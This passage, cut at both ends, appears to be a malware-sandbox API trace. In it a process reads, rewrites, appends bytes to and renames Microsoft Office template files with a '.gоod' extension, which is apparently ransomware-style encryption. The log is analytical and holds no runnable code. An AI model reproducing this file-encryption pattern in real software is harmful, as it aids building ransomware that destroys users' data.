ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa369325, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0221.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0221.894] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", lpFilePart=0x0) returned 0x41 [0221.894] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0221.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.894] GetFileType (hFile=0x85c) returned 0x1 [0221.894] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0221.894] GetFileType (hFile=0x85c) returned 0x1 [0221.894] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0221.894] ReadFile (in: hFile=0x85c, lpBuffer=0x3743bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3743bc8*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0221.896] CloseHandle (hObject=0x85c) returned 1 [0221.896] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", lpFilePart=0x0) returned 0x41 [0221.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0221.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.896] GetFileType (hFile=0x85c) returned 0x1 [0221.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0221.896] GetFileType (hFile=0x85c) returned 0x1 [0221.896] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x3000 [0221.896] WriteFile (in: hFile=0x85c, lpBuffer=0x37453a0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x37453a0*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0221.896] CloseHandle (hObject=0x85c) returned 1 [0221.897] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", lpFilePart=0x0) returned 0x41 [0221.897] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0221.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0221.897] GetFileType (hFile=0x85c) returned 0x1 [0221.897] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0221.897] GetFileType (hFile=0x85c) returned 0x1 [0221.897] ReadFile (in: hFile=0x85c, lpBuffer=0x3747658, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x3747658*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0222.212] CloseHandle (hObject=0x85c) returned 1 [0222.212] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", lpFilePart=0x0) returned 0x41 [0222.212] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.212] GetFileType (hFile=0x85c) returned 0x1 [0222.212] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.212] GetFileType (hFile=0x85c) returned 0x1 [0222.212] WriteFile (in: hFile=0x85c, lpBuffer=0x36dbb80*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x36dbb80*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0222.212] CloseHandle (hObject=0x85c) returned 1 [0222.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT", lpFilePart=0x0) returned 0x41 [0222.213] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.gоod", lpFilePart=0x0) returned 0x46 [0222.213] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0222.213] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x80a85cee, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3010)) returned 1 [0222.213] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0222.213] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.PPT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.ppt.gоod")) returned 1 [0222.214] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", lpFilePart=0x0) returned 0x41 [0222.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0222.214] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), fInfoLevelId=0x0, lpFileInformation=0x3897770 | out: lpFileInformation=0x3897770*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2200)) returned 1 [0222.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0222.215] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", lpFilePart=0x0) returned 0x41 [0222.215] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.215] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.215] GetFileType (hFile=0x85c) returned 0x1 [0222.215] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.215] GetFileType (hFile=0x85c) returned 0x1 [0222.215] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0222.215] ReadFile (in: hFile=0x85c, lpBuffer=0x3897b78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x3897b78*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0222.217] CloseHandle (hObject=0x85c) returned 1 [0222.217] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", lpFilePart=0x0) returned 0x41 [0222.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.217] GetFileType (hFile=0x85c) returned 0x1 [0222.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.217] GetFileType (hFile=0x85c) returned 0x1 [0222.217] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x2200 [0222.217] WriteFile (in: hFile=0x85c, lpBuffer=0x3898e48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x3898e48*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0222.218] CloseHandle (hObject=0x85c) returned 1 [0222.218] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", lpFilePart=0x0) returned 0x41 [0222.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.218] GetFileType (hFile=0x85c) returned 0x1 [0222.218] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.219] GetFileType (hFile=0x85c) returned 0x1 [0222.219] ReadFile (in: hFile=0x85c, lpBuffer=0x389b180, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x389b180*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0222.289] CloseHandle (hObject=0x85c) returned 1 [0222.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", lpFilePart=0x0) returned 0x41 [0222.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.289] GetFileType (hFile=0x85c) returned 0x1 [0222.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.289] GetFileType (hFile=0x85c) returned 0x1 [0222.289] WriteFile (in: hFile=0x85c, lpBuffer=0x347aef8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x347aef8*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0222.289] CloseHandle (hObject=0x85c) returned 1 [0222.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS", lpFilePart=0x0) returned 0x41 [0222.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.gоod", lpFilePart=0x0) returned 0x46 [0222.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0222.289] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x80b44893, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2210)) returned 1 [0222.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0222.290] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLN.XLS.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottpln.xls.gоod")) returned 1 [0222.290] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", lpFilePart=0x0) returned 0x41 [0222.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0222.290] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), fInfoLevelId=0x0, lpFileInformation=0x349f388 | out: lpFileInformation=0x349f388*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4e00)) returned 1 [0222.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0222.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", lpFilePart=0x0) returned 0x41 [0222.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.291] GetFileType (hFile=0x85c) returned 0x1 [0222.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.291] GetFileType (hFile=0x85c) returned 0x1 [0222.291] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x1000 [0222.292] ReadFile (in: hFile=0x85c, lpBuffer=0x349f790, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59ddd8, lpOverlapped=0x0 | out: lpBuffer=0x349f790*, lpNumberOfBytesRead=0x1f59ddd8*=0x1000, lpOverlapped=0x0) returned 1 [0222.293] CloseHandle (hObject=0x85c) returned 1 [0222.293] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", lpFilePart=0x0) returned 0x41 [0222.293] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.293] GetFileType (hFile=0x85c) returned 0x1 [0222.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.293] GetFileType (hFile=0x85c) returned 0x1 [0222.293] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f59de08*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f59de08*=0) returned 0x4e00 [0222.293] WriteFile (in: hFile=0x85c, lpBuffer=0x34a0a20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f59dcf8, lpOverlapped=0x0 | out: lpBuffer=0x34a0a20*, lpNumberOfBytesWritten=0x1f59dcf8*=0x10, lpOverlapped=0x0) returned 1 [0222.294] CloseHandle (hObject=0x85c) returned 1 [0222.295] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", lpFilePart=0x0) returned 0x41 [0222.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0222.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0222.295] GetFileType (hFile=0x85c) returned 0x1 [0222.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0222.295] GetFileType (hFile=0x85c) returned 0x1 [0222.295] ReadFile (in: hFile=0x85c, lpBuffer=0x34a2cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd88, lpOverlapped=0x0 | out: lpBuffer=0x34a2cd8*, lpNumberOfBytesRead=0x1f59dd88*=0x1000, lpOverlapped=0x0) returned 1 [0224.147] CloseHandle (hObject=0x85c) returned 1 [0224.147] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", lpFilePart=0x0) returned 0x41 [0224.147] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0224.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0224.148] GetFileType (hFile=0x85c) returned 0x1 [0224.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0224.148] GetFileType (hFile=0x85c) returned 0x1 [0224.148] WriteFile (in: hFile=0x85c, lpBuffer=0x3481b08*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f59de38, lpOverlapped=0x0 | out: lpBuffer=0x3481b08*, lpNumberOfBytesWritten=0x1f59de38*=0x1010, lpOverlapped=0x0) returned 1 [0224.148] CloseHandle (hObject=0x85c) returned 1 [0224.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC", lpFilePart=0x0) returned 0x41 [0224.148] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.gоod", lpFilePart=0x0) returned 0x46 [0224.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0224.148] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa3430bd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa3430bd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x81d02252, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4e10)) returned 1 [0224.148] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0224.148] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.DOC.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.doc.gоod")) returned 1 [0224.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", lpFilePart=0x0) returned 0x41 [0224.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0224.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), fInfoLevelId=0x0, lpFileInformation=0x36f23c8 | out: lpFileInformation=0x36f23c8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa31ce71, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa31ce71, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xa3430bd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1 [0224.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0224.150] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", nBufferLength=0x105, lpBuffer=0x1f59d790, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT", lpFilePart=0x0) returned 0x41 [0224.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dcb0) returned 1 [0224.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\PROTTPLV.PPT" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\prottplv.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0224.151] GetFileType (hFile=0x85c) returned 0x1 [0224.151] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dc20) returned 1 [0224.151] GetFileType (hFile=0x85c) returned 0x1 [0224.151] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f59de08*=0, 